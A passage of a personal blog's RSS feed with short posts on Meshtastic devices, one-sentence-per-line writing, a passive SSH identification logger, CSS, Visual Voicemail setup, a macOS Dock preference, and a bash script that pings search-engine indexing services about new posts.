  1948.    <link>https://blog.x-way.org/Radio/2024/10/28/Realizing-Meshtastics-Promise-with-the-T-Deck.html</link>
  1949.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324412</guid>
  1950.    <dc:creator>Andreas Jaggi</dc:creator>
  1951.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1952.    <pubDate>Mon, 28 Oct 2024 22:32:34 +0100</pubDate>
  1953.    <category domain="https://blog.x-way.org/Radio/">Radio</category>
  1954.    <description><![CDATA[<p>
  1955. In the <a href="https://www.jeffgeerling.com/blog/2024/realizing-meshtastics-promise-t-deck" title="Realizing Meshtastic's Promise with the T-Deck | Jeff Geerling">Realizing Meshtastic's Promise with the T-Deck</a> article, Jeff Geerling showcases the experimental <a href="https://github.com/meshtastic/device-ui" title="meshtastic/device-ui: meshtastic device-ui library">device-ui</a> for the <a href="https://www.lilygo.cc/products/t-deck" title="T-Deck - LILYGO">T-Deck</a>.
  1956. </p>
  1957. <p>
  1958. This experimental UI looks already very pretty and I expect that it will provide a very nice Meshtastic experience once all features have been implemented.<br>
  1959. The article also contains instructions on how to install a development version of the experimantal UI based on some CI snapshots.
  1960. Maybe something to try out one of these days :-)
  1961. </p>
  1962. ]]></description>
  1963.    <content:encoded><![CDATA[<p>
  1964. In the <a href="https://www.jeffgeerling.com/blog/2024/realizing-meshtastics-promise-t-deck" title="Realizing Meshtastic's Promise with the T-Deck | Jeff Geerling">Realizing Meshtastic's Promise with the T-Deck</a> article, Jeff Geerling showcases the experimental <a href="https://github.com/meshtastic/device-ui" title="meshtastic/device-ui: meshtastic device-ui library">device-ui</a> for the <a href="https://www.lilygo.cc/products/t-deck" title="T-Deck - LILYGO">T-Deck</a>.
  1965. </p>
  1966. <p>
  1967. This experimental UI looks already very pretty and I expect that it will provide a very nice Meshtastic experience once all features have been implemented.<br>
  1968. The article also contains instructions on how to install a development version of the experimantal UI based on some CI snapshots.
  1969. Maybe something to try out one of these days :-)
  1970. </p>
  1971. ]]></content:encoded>
  1972.  </item>
  1973.  
  1974.  <item>
  1975.    <title>Writing one sentence per line</title>
  1976.    <link>https://blog.x-way.org/Misc/2024/10/23/Writing-one-sentence-per-line.html</link>
  1977.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324411</guid>
  1978.    <dc:creator>Andreas Jaggi</dc:creator>
  1979.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1980.    <pubDate>Wed, 23 Oct 2024 16:18:13 +0200</pubDate>
  1981.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1982.    <description><![CDATA[<p>
  1983. In his <a href="https://sive.rs/1s" title="Writing one sentence per line | Derek Sivers">Writing one sentence per line</a> article, Derek Sivers explains the benefits of writing one sentence per line.<br>
  1984. The approach leverages that whitespace in HTML source code is collapsed when being rendered in the browser.<br>
  1985. Thus we can have a much more writer-friendly text formatting when editing the text, while still providing a nicely rendered output to whoever views the resulting page in a browser.
  1986. </p>
  1987. <p>
  1988. The main advantages outlined in the article are:<br>
  1989. It helps you judge each sentence on its own.<br>
  1990. It helps you vary sentence length.<br>
  1991. It helps you move sentences.<br>
  1992. It helps you see first and last words.
  1993. </p>
  1994. <p>
  1995. I really like this approach and will apply it in my future writing on the blog.<br>
  1996. The indenting of text (not explicitly mentioned in the article but visible in the source) is also something I will try to adopt.
  1997. </p>
  1998. <p>
  1999. Here is how the above two paragraphs look in the source text:
  2000. </p>
  2001. <pre>&lt;p&gt;
  2002. The main advantages outlined in the article are:&lt;br&gt;
  2003. It helps you judge each sentence on its own.&lt;br&gt;
  2004. It helps you vary sentence length.&lt;br&gt;
  2005. It helps you move sentences.&lt;br&gt;
  2006. It helps you see first and last words.
  2007. &lt;/p&gt;
  2008. &lt;p&gt;
  2009. I really like this approach and will apply it in my future writing on the blog.&lt;br&gt;
  2010. The indenting of text (not explicitly mentioned in the article but visible in the source) is also something I will try to adopt.
  2011. &lt;/p&gt;</pre>
  2012. ]]></description>
  2013.    <content:encoded><![CDATA[<p>
  2014. In his <a href="https://sive.rs/1s" title="Writing one sentence per line | Derek Sivers">Writing one sentence per line</a> article, Derek Sivers explains the benefits of writing one sentence per line.<br>
  2015. The approach leverages that whitespace in HTML source code is collapsed when being rendered in the browser.<br>
  2016. Thus we can have a much more writer-friendly text formatting when editing the text, while still providing a nicely rendered output to whoever views the resulting page in a browser.
  2017. </p>
  2018. <p>
  2019. The main advantages outlined in the article are:<br>
  2020. It helps you judge each sentence on its own.<br>
  2021. It helps you vary sentence length.<br>
  2022. It helps you move sentences.<br>
  2023. It helps you see first and last words.
  2024. </p>
  2025. <p>
  2026. I really like this approach and will apply it in my future writing on the blog.<br>
  2027. The indenting of text (not explicitly mentioned in the article but visible in the source) is also something I will try to adopt.
  2028. </p>
  2029. <p>
  2030. Here is how the above two paragraphs look in the source text:
  2031. </p>
  2032. <pre>&lt;p&gt;
  2033. The main advantages outlined in the article are:&lt;br&gt;
  2034. It helps you judge each sentence on its own.&lt;br&gt;
  2035. It helps you vary sentence length.&lt;br&gt;
  2036. It helps you move sentences.&lt;br&gt;
  2037. It helps you see first and last words.
  2038. &lt;/p&gt;
  2039. &lt;p&gt;
  2040. I really like this approach and will apply it in my future writing on the blog.&lt;br&gt;
  2041. The indenting of text (not explicitly mentioned in the article but visible in the source) is also something I will try to adopt.
  2042. &lt;/p&gt;</pre>
  2043. ]]></content:encoded>
  2044.  </item>
  2045.  
  2046.  <item>
  2047.    <title>sshidentifierlogger</title>
  2048.    <link>https://blog.x-way.org/Networking/2024/10/12/sshidentifierlogger.html</link>
  2049.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324410</guid>
  2050.    <dc:creator>Andreas Jaggi</dc:creator>
  2051.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2052.    <pubDate>Sat, 12 Oct 2024 21:54:40 +0200</pubDate>
  2053.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  2054.    <description><![CDATA[<p><a href="https://github.com/x-way/sshidentifierlogger" title="x-way/sshidentifierlogger">sshidentifierlogger</a> is a small tool that I started writing about 5 years ago and have been using on some of my hosts.</p>
  2055. <p>Its purpose is to listen to network traffic and passively collect identification strings during SSH handshakes.<br>Initially I had a lot of <a href="http://www.fail2ban.org/" title="fail2ban">fail2ban</a> activity on my <a href="https://en.wikipedia.org/wiki/Jump_server" title="Jump server - Wikipedia">jumphost</a>, blocking many SSH scanning/enumeration/bruteforcing attempts and wanted to know what software the attackers use.</p>
  2056. <p>A bit particular is that sshidentifierlogger does not depend on the classic C library libpcap, but rather uses the go-native <a href="https://github.com/gopacket/gopacket/tree/master/pcapgo" title="gopacket/pcapgo">pcapgo</a> implementation by <a href="https://github.com/gopacket/gopacket" title="gopacket/gopacket">gopacket</a>.<br>Thus it can be cross-compiled on any platform, which comes in handy when you do not want to install the full go buildchain on your jumphost.</p>
  2057. <p>The collected data is quite interesting (most of the scanning used to be done with libssh2).<br>Which I did leverage to write iptables rules blocking packets with undesired SSH identification strings.<br>This has been quite successfull in reducing the amount of fail2ban activity :-)</p>
  2058. ]]></description>
  2059.    <content:encoded><![CDATA[<p><a href="https://github.com/x-way/sshidentifierlogger" title="x-way/sshidentifierlogger">sshidentifierlogger</a> is a small tool that I started writing about 5 years ago and have been using on some of my hosts.</p>
  2060. <p>Its purpose is to listen to network traffic and passively collect identification strings during SSH handshakes.<br>Initially I had a lot of <a href="http://www.fail2ban.org/" title="fail2ban">fail2ban</a> activity on my <a href="https://en.wikipedia.org/wiki/Jump_server" title="Jump server - Wikipedia">jumphost</a>, blocking many SSH scanning/enumeration/bruteforcing attempts and wanted to know what software the attackers use.</p>
  2061. <p>A bit particular is that sshidentifierlogger does not depend on the classic C library libpcap, but rather uses the go-native <a href="https://github.com/gopacket/gopacket/tree/master/pcapgo" title="gopacket/pcapgo">pcapgo</a> implementation by <a href="https://github.com/gopacket/gopacket" title="gopacket/gopacket">gopacket</a>.<br>Thus it can be cross-compiled on any platform, which comes in handy when you do not want to install the full go buildchain on your jumphost.</p>
  2062. <p>The collected data is quite interesting (most of the scanning used to be done with libssh2).<br>Which I did leverage to write iptables rules blocking packets with undesired SSH identification strings.<br>This has been quite successfull in reducing the amount of fail2ban activity :-)</p>
  2063. ]]></content:encoded>
  2064.  </item>
  2065.  
  2066.  <item>
  2067.    <title>Styling blockquote and pre elements</title>
  2068.    <link>https://blog.x-way.org/Webdesign/2024/10/11/Styling-blockquote-and-pre-elements.html</link>
  2069.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324409</guid>
  2070.    <dc:creator>Andreas Jaggi</dc:creator>
  2071.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2072.    <pubDate>Fri, 11 Oct 2024 18:14:02 +0200</pubDate>
  2073.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2074.    <description><![CDATA[<p>The <a href="https://htmlforpeople.com/css-basics#blockquotes" title="CSS Basics - Blockquotes">Blockquotes</a> and <a href="https://htmlforpeople.com/css-basics#pre-formatted-text" title="CSS Basics - Pre-formatted text">Pre-formatted text</a> sections in the <a href="https://htmlforpeople.com/" title="HTML for People">HTML for People</a> book inspired me to improve the styling of the blog.<br>The following code now defines the visual appearance of <code>blockquote</code> and <code>pre</code> elements in the blog:</p>
  2075. <pre>blockquote {
  2076. border-left: 1px dotted #ffbb18;
  2077. padding-left: 21px;
  2078. margin-left: 21px;
  2079. }
  2080. pre {
  2081. background-color: #f9f7f7;
  2082. border-radius: 4px;
  2083. padding: 4px;
  2084. }</pre>
  2085. <p>To see it in effect, scroll down to the <a href="https://blog.x-way.org/Mac/2024/09/29/Hidden-Pref-to-Restore-Slow-Motion-Dock-Minimizing-on-MacOS.html" title="x-log - Hidden Pref to Restore Slow Motion Dock Minimizing on MacOS">Hidden Pref to Restore Slow Motion Dock Minimizing on MacOS</a> or <a href="https://blog.x-way.org/Coding/2024/09/25/Notifying-external-services-about-changes-in-the-blog.html" title="x-log - Notifying external services about changes in the blog">Notifying external services about changes in the blog</a> posts.</p>
  2086. ]]></description>
  2087.    <content:encoded><![CDATA[<p>The <a href="https://htmlforpeople.com/css-basics#blockquotes" title="CSS Basics - Blockquotes">Blockquotes</a> and <a href="https://htmlforpeople.com/css-basics#pre-formatted-text" title="CSS Basics - Pre-formatted text">Pre-formatted text</a> sections in the <a href="https://htmlforpeople.com/" title="HTML for People">HTML for People</a> book inspired me to improve the styling of the blog.<br>The following code now defines the visual appearance of <code>blockquote</code> and <code>pre</code> elements in the blog:</p>
  2088. <pre>blockquote {
  2089. border-left: 1px dotted #ffbb18;
  2090. padding-left: 21px;
  2091. margin-left: 21px;
  2092. }
  2093. pre {
  2094. background-color: #f9f7f7;
  2095. border-radius: 4px;
  2096. padding: 4px;
  2097. }</pre>
  2098. <p>To see it in effect, scroll down to the <a href="https://blog.x-way.org/Mac/2024/09/29/Hidden-Pref-to-Restore-Slow-Motion-Dock-Minimizing-on-MacOS.html" title="x-log - Hidden Pref to Restore Slow Motion Dock Minimizing on MacOS">Hidden Pref to Restore Slow Motion Dock Minimizing on MacOS</a> or <a href="https://blog.x-way.org/Coding/2024/09/25/Notifying-external-services-about-changes-in-the-blog.html" title="x-log - Notifying external services about changes in the blog">Notifying external services about changes in the blog</a> posts.</p>
  2099. ]]></content:encoded>
  2100.  </item>
  2101.  
  2102.  <item>
  2103.    <title>Meshtastic Web Serial in Linux as non-root user</title>
  2104.    <link>https://blog.x-way.org/Radio/2024/10/05/Meshtastic-Web-Serial-in-Linux-as-non-root-user.html</link>
  2105.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324408</guid>
  2106.    <dc:creator>Andreas Jaggi</dc:creator>
  2107.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2108.    <pubDate>Sat, 05 Oct 2024 18:49:09 +0200</pubDate>
  2109.    <category domain="https://blog.x-way.org/Radio/">Radio</category>
  2110.    <description><![CDATA[<p>Today I played around a bit with a <a href="https://meshtastic.org/" title="Meshtastic">Meshtastic</a> device and tried to configure it through the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Serial_API" title="Web Serial API - Web APIs | MDN">Web Serial API</a> in Chrome.<br>On my Linux system it could see the device but not really change any values, update firmware etc.</p>
  2111. <p>This confused me for some time, until I looked at the permissions of <code>/dev/ttyACM0</code> (which were <samp>crw-rw----</samp>).<br>A quick <kbd>sudo chmod a+rw /dev/ttyACM0</kbd> later, and I could write to the configuration of the Meshtastic device.<br>The more tedious part was that after every config change the device rebooted and the USB serial connection was re-initialized by Linux, thus I needed to re-run the chmod command after every change. Luckily I figured out how to enable WiFi on the device and from then on no longer needed the serial access.</p>
  2112. ]]></description>
  2113.    <content:encoded><![CDATA[<p>Today I played around a bit with a <a href="https://meshtastic.org/" title="Meshtastic">Meshtastic</a> device and tried to configure it through the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Serial_API" title="Web Serial API - Web APIs | MDN">Web Serial API</a> in Chrome.<br>On my Linux system it could see the device but not really change any values, update firmware etc.</p>
  2114. <p>This confused me for some time, until I looked at the permissions of <code>/dev/ttyACM0</code> (which were <samp>crw-rw----</samp>).<br>A quick <kbd>sudo chmod a+rw /dev/ttyACM0</kbd> later, and I could write to the configuration of the Meshtastic device.<br>The more tedious part was that after every config change the device rebooted and the USB serial connection was re-initialized by Linux, thus I needed to re-run the chmod command after every change. Luckily I figured out how to enable WiFi on the device and from then on no longer needed the serial access.</p>
  2115. ]]></content:encoded>
  2116.  </item>
  2117.  
  2118.  <item>
  2119.    <title>Enable Visual Voicemail on your iPhone with Galaxus Mobile</title>
  2120.    <link>https://blog.x-way.org/Misc/2024/09/30/Enable-Visual-Voicemail-on-your-iPhone-with-Galaxus-Mobile.html</link>
  2121.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324407</guid>
  2122.    <dc:creator>Andreas Jaggi</dc:creator>
  2123.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2124.    <pubDate>Mon, 30 Sep 2024 20:47:35 +0200</pubDate>
  2125.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2126.    <description><![CDATA[<p>Turns out that the procedure for enabling Visual Voicemail with <a href="https://mobile.galaxus.ch/" title="Galaxus Mobile">Galaxus Mobile</a> is the same as for <a href="https://blog.x-way.org/Misc/2024/09/24/Enable-Visual-Voicemail-on-your-iPhone-with-TalkTalk.html" title="Enable Visual Voicemail on your iPhone with TalkTalk">TalkTalk</a>.</p>
  2127. <p>In my case their database entry was somehow stuck and I first needed to send a <code>VVM OFF</code> to <code>935</code> before starting <a href="https://blog.x-way.org/Misc/2024/09/24/Enable-Visual-Voicemail-on-your-iPhone-with-TalkTalk.html" title="Enable Visual Voicemail on your iPhone with TalkTalk">the procedure</a>.</p>
  2128. ]]></description>
  2129.    <content:encoded><![CDATA[<p>Turns out that the procedure for enabling Visual Voicemail with <a href="https://mobile.galaxus.ch/" title="Galaxus Mobile">Galaxus Mobile</a> is the same as for <a href="https://blog.x-way.org/Misc/2024/09/24/Enable-Visual-Voicemail-on-your-iPhone-with-TalkTalk.html" title="Enable Visual Voicemail on your iPhone with TalkTalk">TalkTalk</a>.</p>
  2130. <p>In my case their database entry was somehow stuck and I first needed to send a <code>VVM OFF</code> to <code>935</code> before starting <a href="https://blog.x-way.org/Misc/2024/09/24/Enable-Visual-Voicemail-on-your-iPhone-with-TalkTalk.html" title="Enable Visual Voicemail on your iPhone with TalkTalk">the procedure</a>.</p>
  2131. ]]></content:encoded>
  2132.  </item>
  2133.  
  2134.  <item>
  2135.    <title>Hidden Pref to Restore Slow-Motion Dock Minimizing on MacOS</title>
  2136.    <link>https://blog.x-way.org/Mac/2024/09/29/Hidden-Pref-to-Restore-Slow-Motion-Dock-Minimizing-on-MacOS.html</link>
  2137.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324406</guid>
  2138.    <dc:creator>Andreas Jaggi</dc:creator>
  2139.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2140.    <pubDate>Sun, 29 Sep 2024 01:16:45 +0200</pubDate>
  2141.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  2142.    <description><![CDATA[<p><a href="https://daringfireball.net/linked/2024/09/28/hidden-pref-to-restore-slow-motion-dock-minimizing-on-macos" title="Daring Fireball: Hidden Pref to Restore Slow-Motion Dock Minimizing on MacOS">Daring Fireball describes</a> how to restore the old trick of slow motion MacOS Dock effects:</p>
  2143. <blockquote cite="https://daringfireball.net/linked/2024/09/28/hidden-pref-to-restore-slow-motion-dock-minimizing-on-macos">
  2144. <p>In the midst of recording last week’s episode of The Talk Show with Nilay Patel, I offhandedly mentioned the age-old trick of holding down the Shift key while minimizing a window (clicking the yellow button) to see the genie effect in slow motion. Nilay was like “Wait, what? That’s not working for me...” and we moved on.</p>
  2145. <p><a href="https://mastodon.social/@charlesa/113212025522260922">What I’d forgotten</a> is that Apple had removed this as default behavior a few years ago (I think in MacOS 10.14 Mojave), but you can restore the feature with this hidden preference, typed in Terminal:</p>
  2146. <pre>defaults write com.apple.dock slow-motion-allowed -bool YES</pre>
  2147. <p>Then restart the Dock:</p>
  2148. <pre>killall Dock</pre>
  2149. <p>Or, in a single command:</p>
  2150. <pre>defaults write com.apple.dock slow-motion-allowed -bool YES; killall Dock</pre>
  2151. <p>I had forgotten that this had become a hidden preference, and that I’d long ago enabled it.</p>
  2152. </blockquote>
  2153. ]]></description>
  2154.    <content:encoded><![CDATA[<p><a href="https://daringfireball.net/linked/2024/09/28/hidden-pref-to-restore-slow-motion-dock-minimizing-on-macos" title="Daring Fireball: Hidden Pref to Restore Slow-Motion Dock Minimizing on MacOS">Daring Fireball describes</a> how to restore the old trick of slow motion MacOS Dock effects:</p>
  2155. <blockquote cite="https://daringfireball.net/linked/2024/09/28/hidden-pref-to-restore-slow-motion-dock-minimizing-on-macos">
  2156. <p>In the midst of recording last week’s episode of The Talk Show with Nilay Patel, I offhandedly mentioned the age-old trick of holding down the Shift key while minimizing a window (clicking the yellow button) to see the genie effect in slow motion. Nilay was like “Wait, what? That’s not working for me...” and we moved on.</p>
  2157. <p><a href="https://mastodon.social/@charlesa/113212025522260922">What I’d forgotten</a> is that Apple had removed this as default behavior a few years ago (I think in MacOS 10.14 Mojave), but you can restore the feature with this hidden preference, typed in Terminal:</p>
  2158. <pre>defaults write com.apple.dock slow-motion-allowed -bool YES</pre>
  2159. <p>Then restart the Dock:</p>
  2160. <pre>killall Dock</pre>
  2161. <p>Or, in a single command:</p>
  2162. <pre>defaults write com.apple.dock slow-motion-allowed -bool YES; killall Dock</pre>
  2163. <p>I had forgotten that this had become a hidden preference, and that I’d long ago enabled it.</p>
  2164. </blockquote>
  2165. ]]></content:encoded>
  2166.  </item>
  2167.  
  2168.  <item>
  2169.    <title>Notifying external services about changes in the blog</title>
  2170.    <link>https://blog.x-way.org/Coding/2024/09/25/Notifying-external-services-about-changes-in-the-blog.html</link>
  2171.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324405</guid>
  2172.    <dc:creator>Andreas Jaggi</dc:creator>
  2173.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2174.    <pubDate>Wed, 25 Sep 2024 10:23:25 +0200</pubDate>
  2175.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  2176.    <description><![CDATA[<p>For some time now, I'm <a href="https://blog.x-way.org/Coding/2024/06/12/blogs-still-Pinging.html" title="blo.gs still Pinging - x-log">notifying blo.gs about changes in the blog</a>. After looking a bit into how search engines percieve my website recently, I learned that they also have some notification mechanisms for new pages/blogposts.</p>
  2177. <p>Thus I upgraded the oneliner into a dedicated script to notify external services about changes in the blog.<br>It is optimized for my Jekyll setup, where the generated pages in the _site folder are stored in git.<br>The notification ignores changes to summarized pages like rss.xml etc to only trigger notifications when there are changes in the original blog posts.</p>
  2178. <p>Here's the script, feel free to re-use (it expects to have <var>MYDOMAIN</var>, <var>INDEXNOW_API_KEY</var> and <var>BING_API_KEY</var> defined as environment variables):</p>
  2179. <pre>#!/bin/bash
  2180.  
  2181. set -e
  2182. set -u
  2183. set -o pipefail
  2184.  
  2185. CHANGES="$(git diff --name-only HEAD HEAD~1 -- _site)"
  2186.  
  2187. # early abort if no changes on _site
  2188. if [ -z "$CHANGES" ] ; then
  2189. echo "No changes in _site found"
  2190. exit 0
  2191. fi
  2192.  
  2193. # build URL list
  2194. URLLIST="\"https://${MYDOMAIN}/\""
  2195. for f in $CHANGES ; do
  2196. case "$f" in
  2197. _site/robots.txt|_site/humans.txt|_site/about.html|_site/rss.xml|_site/atom.xml|_site/feed.json|_site/sitemap.xml)
  2198. continue
  2199. ;;
  2200. *)
  2201. url=$(echo "$f"|sed -e "sX^_siteXhttps://${MYDOMAIN}X")
  2202. URLLIST="${URLLIST},\"${url}\""
  2203. ;;
  2204. esac
  2205. done
  2206.  
  2207. if [ "\"https://${MYDOMAIN}/\"" = "$URLLIST" ] ; then
  2208. echo "No relevant changes in _site found, skipping notifications"
  2209. exit 0
  2210. fi
  2211.  
  2212. # notify ping.blo.gs (Automattic) about updates
  2213. curl --fail -s -D - -X POST http://ping.blo.gs -H 'content-type: text/xml' --data "&lt;?xml version=\"1.0\"?&gt;&lt;methodCall&gt;&lt;methodName&gt;weblogUpdates.extendedPing&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;x-log&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://${MYDOMAIN}/&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://${MYDOMAIN}/rss.xml&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;"
  2214.  
  2215. # report changed URLs to indexnow, include /indexnow canary URL
  2216. curl --fail -s -D - -X POST https://api.indexnow.org/IndexNow -H 'content-type: application/json; charset=utf-8' --data "{\"host\":\"${MYDOMAIN}\",\"key\":\"${INDEXNOW_API_KEY}\",\"urlList\":[${URLLIST},\"https://${MYDOMAIN}/indexnow\"]}"
  2217.  
  2218. # report changes URLs to bing, include /bingsubmit canary URL
  2219. curl --fail -s -D - -X POST "https://ssl.bing.com/webmaster/api.svc/json/SubmitUrlbatch?apikey=${BING_API_KEY}" -H 'content-type: application/json; charset=utf-8' --data "{\"siteUrl\":\"https://${MYDOMAIN}\",\"urlList\":[${URLLIST},\"https://${MYDOMAIN}/bingsubmit\"]}"</pre>
  2220. ]]></description>
  2221.    <content:encoded><![CDATA[<p>For some time now, I'm <a href="https://blog.x-way.org/Coding/2024/06/12/blogs-still-Pinging.html" title="blo.gs still Pinging - x-log">notifying blo.gs about changes in the blog</a>. After looking a bit into how search engines percieve my website recently, I learned that they also have some notification mechanisms for new pages/blogposts.</p>
  2222. <p>Thus I upgraded the oneliner into a dedicated script to notify external services about changes in the blog.<br>It is optimized for my Jekyll setup, where the generated pages in the _site folder are stored in git.<br>The notification ignores changes to summarized pages like rss.xml etc to only trigger notifications when there are changes in the original blog posts.</p>
  2223. <p>Here's the script, feel free to re-use (it expects to have <var>MYDOMAIN</var>, <var>INDEXNOW_API_KEY</var> and <var>BING_API_KEY</var> defined as environment variables):</p>
  2224. <pre>#!/bin/bash
  2225.  
  2226. set -e
  2227. set -u
  2228. set -o pipefail
  2229.  
  2230. CHANGES="$(git diff --name-only HEAD HEAD~1 -- _site)"
  2231.  
  2232. # early abort if no changes on _site
  2233. if [ -z "$CHANGES" ] ; then
  2234. echo "No changes in _site found"
  2235. exit 0
  2236. fi
  2237.  
  2238. # build URL list
  2239. URLLIST="\"https://${MYDOMAIN}/\""
  2240. for f in $CHANGES ; do
  2241. case "$f" in
  2242. _site/robots.txt|_site/humans.txt|_site/about.html|_site/rss.xml|_site/atom.xml|_site/feed.json|_site/sitemap.xml)
  2243. continue
  2244. ;;
  2245. *)
  2246. url=$(echo "$f"|sed -e "sX^_siteXhttps://${MYDOMAIN}X")
  2247. URLLIST="${URLLIST},\"${url}\""
  2248. ;;
  2249. esac
  2250. done
  2251.  
  2252. if [ "\"https://${MYDOMAIN}/\"" = "$URLLIST" ] ; then
  2253. echo "No relevant changes in _site found, skipping notifications"
  2254. exit 0
  2255. fi
  2256.  
  2257. # notify ping.blo.gs (Automattic) about updates
  2258. curl --fail -s -D - -X POST http://ping.blo.gs -H 'content-type: text/xml' --data "&lt;?xml version=\"1.0\"?&gt;&lt;methodCall&gt;&lt;methodName&gt;weblogUpdates.extendedPing&lt;/methodName&gt;&lt;params&gt;&lt;param&gt;&lt;value&gt;x-log&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://${MYDOMAIN}/&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;&lt;/value&gt;&lt;/param&gt;&lt;param&gt;&lt;value&gt;https://${MYDOMAIN}/rss.xml&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;&lt;/methodCall&gt;"
  2259.  
  2260. # report changed URLs to indexnow, include /indexnow canary URL
  2261. curl --fail -s -D - -X POST https://api.indexnow.org/IndexNow -H 'content-type: application/json; charset=utf-8' --data "{\"host\":\"${MYDOMAIN}\",\"key\":\"${INDEXNOW_API_KEY}\",\"urlList\":[${URLLIST},\"https://${MYDOMAIN}/indexnow\"]}"
  2262.  
  2263. # report changes URLs to bing, include /bingsubmit canary URL
  2264. curl --fail -s -D - -X POST "https://ssl.bing.com/webmaster/api.svc/json/SubmitUrlbatch?apikey=${BING_API_KEY}" -H 'content-type: application/json; charset=utf-8' --data "{\"siteUrl\":\"https://${MYDOMAIN}\",\"urlList\":[${URLLIST},\"https://${MYDOMAIN}/bingsubmit\"]}"</pre>
  2265. ]]></content:encoded>
  2266.  </item>
  2267.  
  2268.  <item>
  2269.    <title>Enable Visual Voicemail on your iPhone with TalkTalk</title>
  2270.    <link>https://blog.x-way.org/Misc/2024/09/24/Enable-Visual-Voicemail-on-your-iPhone-with-TalkTalk.html</link>
  2271.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324404</guid>
  2272.    <dc:creator>Andreas Jaggi</dc:creator>
  2273.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2274.    <pubDate>Tue, 24 Sep 2024 18:36:01 +0200</pubDate>
  2275.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2276.    <description><![CDATA[<p>When you switch to <a href="https://www.talktalk.ch/" title="TalkTalk • Dein Mobilfunk-, Telefon- & Internetanbieter">TalkTalk</a> as your mobile phone provider, by default Visual Voicemail for your iPhone is not enabled.<br>And you're stuck with the 90s voiceprompt of the 'Talkbox'.</p>
  2277. <p>The following steps will activate Visual Voicemail for your iPhone:</p>
  2278. <ol>
  2279. <li>Send a SMS text message with <code>VVM ON</code> to the number <code>935</code>.</li>
  2280. <li>Shortly after you should get a text message confirming that Visual Voicemail has been enabled for you.</li>
  2281. <li>Now on the iPhone, open the phone app and go to the voicemail tab. There you will either see a button asking you to setup the voicemail or a button taking you to the 90s voiceprompt.</li>
  2282. <li>Do click on this button and setup the six-digit PIN code for your voicemail (this can be done either via a call/voiceprompt or via the guided iPhone button/dialog).</li>
  2283. <li>Once you have setup the PIN for your voicemail, close the phone app on your iPhone.</li>
  2284. <li>Then open the phone app again and go to the voicemail tab, where it should show the usual Visual Voicemail list of missed calls and no longer the button to call the 90s voiceprompt.<br>In my case it took a couple minutes for this to work, thus some patience might be needed.</li>
  2285. <li>Congratulations, you have now a working Visual Voicemail on your iPhone with TalkTalk :-)</li>
  2286. </ol>
  2287. ]]></description>
  2288.    <content:encoded><![CDATA[<p>When you switch to <a href="https://www.talktalk.ch/" title="TalkTalk • Dein Mobilfunk-, Telefon- & Internetanbieter">TalkTalk</a> as your mobile phone provider, by default Visual Voicemail for your iPhone is not enabled.<br>And you're stuck with the 90s voiceprompt of the 'Talkbox'.</p>
  2289. <p>The following steps will activate Visual Voicemail for your iPhone:</p>
  2290. <ol>
  2291. <li>Send a SMS text message with <code>VVM ON</code> to the number <code>935</code>.</li>
  2292. <li>Shortly after you should get a text message confirming that Visual Voicemail has been enabled for you.</li>
  2293. <li>Now on the iPhone, open the phone app and go to the voicemail tab. There you will either see a button asking you to setup the voicemail or a button taking you to the 90s voiceprompt.</li>
  2294. <li>Do click on this button and setup the six-digit PIN code for your voicemail (this can be done either via a call/voiceprompt or via the guided iPhone button/dialog).</li>
  2295. <li>Once you have setup the PIN for your voicemail, close the phone app on your iPhone.</li>
  2296. <li>Then open the phone app again and go to the voicemail tab, where it should show the usual Visual Voicemail list of missed calls and no longer the button to call the 90s voiceprompt.<br>In my case it took a couple minutes for this to work, thus some patience might be needed.</li>
  2297. <li>Congratulations, you have now a working Visual Voicemail on your iPhone with TalkTalk :-)</li>
  2298. </ol>
  2299. ]]></content:encoded>
  2300.  </item>
  2301.  
  2302.  <item>
  2303.    <title>Another weekend, another festival - Subset Festival</title>
  2304.    <link>https://blog.x-way.org/Music/2024/09/22/Another-weekend-another-festival-Subset-Festival.html</link>
  2305.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324403</guid>
  2306.    <dc:creator>Andreas Jaggi</dc:creator>
  2307.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2308.    <pubDate>Sun, 22 Sep 2024 16:42:39 +0200</pubDate>
